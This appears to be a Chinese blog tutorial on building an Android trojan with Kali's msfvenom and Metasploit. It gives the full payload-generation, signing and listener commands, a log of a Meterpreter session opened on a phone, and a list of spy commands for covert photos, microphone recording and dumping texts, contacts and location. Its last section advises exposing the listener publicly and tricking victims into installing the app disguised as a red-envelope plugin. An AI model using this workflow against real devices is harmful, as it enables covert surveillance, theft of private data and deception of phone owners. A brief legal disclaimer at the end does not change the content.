1. 程式人生 > 實用技巧 >kali生成安卓木馬

kali生成安卓木馬

前置條件

需要有kali系統並且保證相關命令正常執行。
登入Oracle官網下載Linux版的jdk
事出有因,期末了各科都要交專案,安卓也不例外,我想著交什麼呢?交安卓app感覺太過乏味,還是這個比較新穎,顯得Big高。2020.1.3---建議還是不要學我,我專案零分

操作

1.開啟終端,輸入ifconfig檢視ip地址(也是監聽地址)
2.輸入以下命令

msfvenom -p android/meterpreter/reverse_tcp LHOST=你kali的ip LPORT=5555 R > /root/apk.apk

3.為了木馬的相容性為其配置簽名,並驗證

建立證書:
keytool -genkey -V -keystore apk-trojan-key.keystore -alias apk -keyalg RSA -keysize 1024 -validity 999  
注意:這裡alias引數後跟apk資料夾的檔名,檔名參考第二部生成,可自行設定。  
簽名:
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore apk-trojan-key.keystore apk.apk apk 
驗證:
jarsigner -verify -verbose apk.apk

4.使用Zipalign優化apk

安裝命令:
apt-get install zipalign
優化apk:
zipalign -v 4 apk.apk aaaa.apk

5.啟動攻擊載入模組,設定反彈連線

啟動msf:
msfconsole
1.use exploit/multi/handler //載入模組
2. set payload android/meterpreter/reverse_tcp //選擇Payload
3.show options //檢視引數設定

這個payload裡邊有兩個引數要設定 LHOST和LPORT 表示地址和埠 預設的埠是4444 現在我們來更改設定

1.set LHOST 172.23.0.209 //這裡的地址設定成我們剛才生成木馬的IP地址
2.set LPORT 5555 //這裡的埠設定成剛才我們生成木馬所監聽的埠
3.exploit //開始執行漏洞 開始監聽,等待手機上線

結果流程演示

root@kali:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.210.26.27  netmask 255.255.248.0  broadcast 10.210.31.255
        inet6 fe80::20c:29ff:fe4f:7237  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:4f:72:37  txqueuelen 1000  (Ethernet)
        RX packets 16  bytes 2062 (2.0 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 37  bytes 3277 (3.2 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 20  bytes 1116 (1.0 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 20  bytes 1116 (1.0 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
root@kali:~# msfvenom -p android/meterpreter/reverse_tcp LHOST=10.210.26.27 LPORT=5555 R > /root/apk.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 10085 bytes

root@kali:~# keytool -genkey -V -keystore apk-trojan-key.keystore -alias apk -keyalg RSA -keysize 1024 -validity 999
輸入金鑰庫口令:  
再次輸入新口令: 
您的名字與姓氏是什麼?
  [Unknown]:  1
您的組織單位名稱是什麼?
  [Unknown]:  1
您的組織名稱是什麼?
  [Unknown]:  1
您所在的城市或區域名稱是什麼?
  [Unknown]:  1
您所在的省/市/自治區名稱是什麼?
  [Unknown]:  1
該單位的雙字母國家/地區程式碼是什麼?
  [Unknown]:  1
CN=1, OU=1, O=1, L=1, ST=1, C=1是否正確?
  [否]:  y

正在為以下物件生成 1,024 位RSA金鑰對和自簽名證書 (SHA256withRSA) (有效期為 999 天):
	 CN=1, OU=1, O=1, L=1, ST=1, C=1
輸入 <apk> 的金鑰口令
	(如果和金鑰庫口令相同, 按回車):  
[正在儲存apk-trojan-key.keystore]

Warning:
JKS 金鑰庫使用專用格式。建議使用 "keytool -importkeystore -srckeystore apk-trojan-key.keystore -destkeystore apk-trojan-key.keystore -deststoretype pkcs12" 遷移到行業標準格式 PKCS12。
root@kali:~# jarsigner -verbose -sigalg SHA256withRSA -digestalg SHA1 -keystore apk-trojan-key.keystore apk.apk apk
輸入金鑰庫的密碼短語: 
   正在新增: META-INF/APK.SF
   正在新增: META-INF/APK.RSA
  正在簽名: AndroidManifest.xml
  正在簽名: resources.arsc
  正在簽名: classes.dex
>>> 簽名者
    X.509, CN=1, OU=1, O=1, L=1, ST=1, C=1
    [可信證書]

jar 已簽名。

警告: 
簽名者證書為自簽名證書。
root@kali:~# jarsigner -verify -verbose apk.apk

s        258 Sat Dec 28 10:47:08 EST 2019 META-INF/MANIFEST.MF
         393 Sat Dec 28 10:49:06 EST 2019 META-INF/APK.SF
         870 Sat Dec 28 10:49:06 EST 2019 META-INF/APK.RSA
         272 Sat Dec 28 10:47:08 EST 2019 META-INF/SIGNFILE.SF
        1842 Sat Dec 28 10:47:08 EST 2019 META-INF/SIGNFILE.RSA
           0 Sat Dec 28 10:47:08 EST 2019 META-INF/
sm      6992 Sat Dec 28 10:47:08 EST 2019 AndroidManifest.xml
sm       572 Sat Dec 28 10:47:08 EST 2019 resources.arsc
sm     19932 Sat Dec 28 10:47:08 EST 2019 classes.dex

  s = 已驗證簽名 
  m = 在清單中列出條目
  k = 在金鑰庫中至少找到了一個證書
  i = 在身份作用域內至少找到了一個證書

- 由 "CN=1, OU=1, O=1, L=1, ST=1, C=1" 簽名
    摘要演算法: SHA1
    簽名演算法: SHA256withRSA, 1024 位金鑰
- 無法解析的與簽名相關的檔案 META-INF/SIGNFILE.SF

jar 已驗證。

警告: 
此 jar 包含其證書鏈無效的條目。原因: PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target
此 jar 包含其簽名者證書為自簽名證書的條目。
此 jar 包含的簽名沒有時間戳。如果沒有時間戳, 則在其中任一簽名者證書到期 (最早為 2022-09-22) 之後, 使用者可能無法驗證此 jar。

有關詳細資訊, 請使用 -verbose 和 -certs 選項重新執行。

簽名者證書將於 2022-09-22 到期。
root@kali:~# zipalign -v 4 apk.apk aaaa.apk
Verifying alignment of aaaa.apk (4)...
      50 META-INF/MANIFEST.MF (OK - compressed)
     283 META-INF/APK.SF (OK - compressed)
     626 META-INF/APK.RSA (OK - compressed)
    1316 META-INF/ (OK)
    1366 META-INF/SIGNFILE.SF (OK - compressed)
    1648 META-INF/SIGNFILE.RSA (OK - compressed)
    2733 AndroidManifest.xml (OK - compressed)
    4500 resources.arsc (OK - compressed)
    4730 classes.dex (OK - compressed)
Verification successful
root@kali:~# msfconsole
[-] ***rting the Metasploit Framework console...-
[-] * WARNING: No database support: could not connect to server: Connection refused
	Is the server running on host "localhost" (::1) and accepting
	TCP/IP connections on port 5432?
could not connect to server: Connection refused
	Is the server running on host "localhost" (127.0.0.1) and accepting
	TCP/IP connections on port 5432?

[-] ***
                                                  

      .:okOOOkdc'           'cdkOOOko:.
    .xOOOOOOOOOOOOc       cOOOOOOOOOOOOx.
   :OOOOOOOOOOOOOOOk,   ,kOOOOOOOOOOOOOOO:
  'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'
  oOOOOOOOO.    .oOOOOoOOOOl.    ,OOOOOOOOo
  dOOOOOOOO.      .cOOOOOc.      ,OOOOOOOOx
  lOOOOOOOO.         ;d;         ,OOOOOOOOl
  .OOOOOOOO.   .;           ;    ,OOOOOOOO.
   cOOOOOOO.   .OOc.     'oOO.   ,OOOOOOOc
    oOOOOOO.   .OOOO.   :OOOO.   ,OOOOOOo
     lOOOOO.   .OOOO.   :OOOO.   ,OOOOOl
      ;OOOO'   .OOOO.   :OOOO.   ;OOOO;
       .dOOo   .OOOOocccxOOOO.   xOOd.
         ,kOl  .OOOOOOOOOOOOO. .dOk,
           :kk;.OOOOOOOOOOOOO.cOk:
             ;kOOOOOOOOOOOOOOOk:
               ,xOOOOOOOOOOOx,
                 .lOOOOOOOl.
                    ,dOd,
                      .

       =[ metasploit v5.0.41-dev                          ]
	+ -- --=[ 1914 exploits - 1074 auxiliary - 330 post       ]
	+ -- --=[ 556 payloads - 45 encoders - 10 nops            ]
	+ -- --=[ 4 evasion                                       ]

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (android/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf5 exploit(multi/handler) > set LHOST 10.210.26.27
LHOST => 10.210.26.27
msf5 exploit(multi/handler) > set LPORT 5555
LPORT => 5555
msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.210.26.27:5555 
[*] Sending stage (72435 bytes) to 10.210.26.14
[*] Meterpreter session 1 opened (10.210.26.27:5555 -> 10.210.26.14:53964) at 2019-12-28 10:55:04 -0500

meterpreter > sysinfo
Computer    : localhost
OS          : Android 8.1.0 - Linux 4.19.50-android-x86_64-geeb7e76e5df5 (x86_64)
Meterpreter : dalvik/android
meterpreter > 到此完成木馬生成及植入

木馬常用監聽命令

 	webcam_list  列出網路攝像頭
	webcam_stream //開啟攝像頭
	webcam_snap //隱祕拍照功能

    record_mic [ˈrekərd]/記錄/  從預設麥克風錄製音訊為X秒

    webcam_chat  開始視訊聊天

    webcam_snap  從指定的攝像頭獲取快照

    webcam_stream -i 1  從指定的網路攝像頭播放視訊流[選擇後攝像頭]

	Android Commands
	
	=================

    activity_start  從URI字串啟動Android活動

    check_root  檢查裝置是否有根

    dump_calllog  獲取呼叫日誌

    dump_contacts  獲取聯絡人列表

    dump_sms  獲取簡訊

    geolocate  利用地理定位獲取當前LAT

    wlan_geolocate  利用WLAN資訊獲取當前LAT

    hide_app_icon  從發射器隱藏應用程式圖示

    interval_collect  管理區間收集能力

    send_sms  從目標會話傳送短訊息

    set_audio_mode

    sqlite_query  從儲存庫查詢SQLite資料庫

    wakelock  啟用/禁用Wakelock

	可以輸入?檢視更多命令

常見問題解決

jarsigner命令找不到

原因:沒有安裝Java jdk,命令基於Java jdk執行,解決需要給kali配置Java jdk環境。
jarsigner簽名使用
推薦jdk安裝文件

Zipalign無法下載


可能跟你當前的網路環境有關係,換資料試一下,如果行不通參考以下
kali源更新
參考其中的更新命令,更新源之後再嘗試是否能下載成功外掛。

木馬生成後監視視窗無響應

顯示Started reverse TCP handler on “IP:埠”
但是不管怎麼點選手機上的app msf裡都沒反應呢?

答:
伺服器這邊沒反應是沒建立起連線。先ping一下檢視電腦能否ping通手機,如果可以那可能是埠問題,telnet一下就知道了,有可能埠被防火牆遮蔽了,有可能是埠被其他服務佔用了。當然也不排除手機的問題,比如一些安全軟體之類的問題,最好在虛擬機器內測試避免木馬造成不可逆的破壞。

讓安裝的人都中招

1.內網穿透,讓你的監控地址成為一個公網IP這樣就能接收到廣域網的傳來資訊。

2.木馬涉及的敏感許可權較多,需要加殼,最近在研究apk反編譯等技術,希望能修改掉apk圖示,名稱等。

3.如何讓別人心甘情願的自己安裝,不僅要看木馬的偽裝,也要看你如何去社工,其實社工的本質就是研究對方的心理,達到欺騙目的,比如你可以說,這是一個搶紅包外掛,是不是對方極大程度的對軟體的安全性放鬆警惕呢?

說明

文章內容僅供學習參考,不得用於非法測試,請遵守國家法律!